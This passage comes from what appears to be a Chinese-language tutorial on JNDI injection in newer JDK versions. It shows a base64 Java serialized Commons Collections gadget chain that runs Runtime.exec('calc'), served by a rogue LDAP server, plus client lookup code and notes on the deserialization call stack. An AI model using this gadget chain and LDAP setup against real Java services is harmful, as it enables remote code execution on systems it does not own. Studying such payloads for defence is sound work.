"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"
));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
然后客户端进行调用
package org.example;
import javax.naming.InitialContext;
public class LDAP_CN {
public static void main(String[]args) throws Exception{
String string = "ldap://localhost:9999/BS";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
其反序列化的调用栈
看到其实就是 c_lookup 后面走得不一样了,最后再 deserializeObject 中进行了反序列化。
总结
虽然这两种方式比较常用,但还是难免会遇到特殊情况。比如系统使用的是 Tomcat7(没有ELProcessor),或是没有 groovy 依赖,又或是没有本地可用的反序列化 gadget,还有可能连 Tomcat 都没有(无法使用 BeanFactory),一般这时候有些人可能就放弃了,这时可以参考一下这篇文章:JDK 高版本下 JNDI 注入深度剖析
参考:https://goodapple.top/archives/696